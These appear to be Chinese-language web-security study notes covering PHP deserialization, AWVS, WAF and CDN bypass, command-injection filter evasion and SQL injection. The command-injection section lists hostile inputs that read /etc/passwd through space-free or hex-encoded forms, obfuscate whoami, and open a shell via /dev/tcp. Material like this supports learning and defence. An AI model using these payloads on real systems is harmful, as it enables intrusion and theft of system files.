PHP
PHP反序列化
- 原理:在对象被序列化之前,会检查是否有__sleep()函数,如果存在,该函数会清理对象,并返回一个数组,数组中包含被序列化的对象的所有属性的名称。如果该方法不返回任何内容,则序列化后的字符串将变为N并提示Notice。__sleep()的预期用途是提交需要挂起的数据或执行类似的清理任务。如果有一个非常大的对象,不需要完全保存其所有属性,该功能将非常有用。
- unserialize漏洞依赖几个条件:
- unserialize函数的参数可控
- 脚本中存在一个构造函数(__construct())、析构函数(__destruct())、__wakeup()函数中有向php文件中写数据的操作的类
- 所写的内容需要有对象中的成员变量的值
工具使用
AWVS
主要功能模块
- Blind SQL Injector:盲注工具
- HTTP Editor:http协议数据包编辑器
- WebScanner:Web安全漏洞扫描(核心功能)
- Site Crawler:遍历站点目录结构(爬虫功能)
- HTTP Sniffer:HTTP协议嗅探器
- HTTP Fuzzer:模糊测试工具
- Authentication Tester:Web认证破解工具
- Target Finder:端口扫描,找出web服务器端口(如80,443)
- Subdomain Scanner:子域名扫描器,利用DNS查询使用方法
绕过技术
waf
- 先上传个txt,然后引用
- 分块传输
- 前面添加大量无用内容
- 上传畸形数据
命令注入
- 常见手法: && 、 | 、||
- 无空格绕过(linux) :cat</etc/passwd、{cat,/etc/passwd}、cat$IFS/etc/passwd(内部字段分隔符)、X=‘uname\x20-a’&&$X、sh</dev/tcp/127.0.0.1/443
- 无空格绕过(windows):ping%CommonProgramFiles:~10,-18%IP、ping%PROGRAMFILES:~10,-5%IP
- 字符过滤 十六进制
echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"
cat `echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"
xxd -r -p <<< 2f6574632f706173737764
cat `xxd -r -p <<< 2f6574632f706173737764`
单引号 w'h'o'am'i
双引号 w"h"o"am"i
用反斜杠和斜杠绕过 w\ho\am\i /\b\i\n/s\h
绕过CDN
- nslookup
- 多地ping
- 子域名
- 利用报错
- 历史dns
- 邮件系统
- 网络空间引擎
- https证书
SQL注入
mysql dumpfile与outfile函数的区别
- into outfile 函数 会 在行末端写入新行 更致命的 是会转义 换行符
这样的话这个2进制可执行 文件 就会被破坏
这时候我们用into dumpfile 就能导出 一个完整能执行的2进制 文件
into dumpfile 函数不对任何列或行进行终止,也不执行任何转义处理
- outfile 全部
- dumpfile 一行
SQL Server执行系统命令
- XP_CMDSHELL
- SP_OACREATE
- 自启动
- 参考
- 通过Agent Job执行命令
- SQL Server CLR
- 使用PowerUpSQL
二次注入
- 原理:
二次注入需要具备的两个条件:
(1)用户向数据库插入恶意语句(即使后端代码对语句进行了转义,如mysql_escape_string、mysql_real_escape_string转义)
(2)数据库对自己存储的数据非常放心,直接取出恶意数据给用户
- 防御:
(1)对外部提交数据谨慎
(2)从数据库取数据时,不能轻易相信查询出的数据,要做到同样的转义或是甄别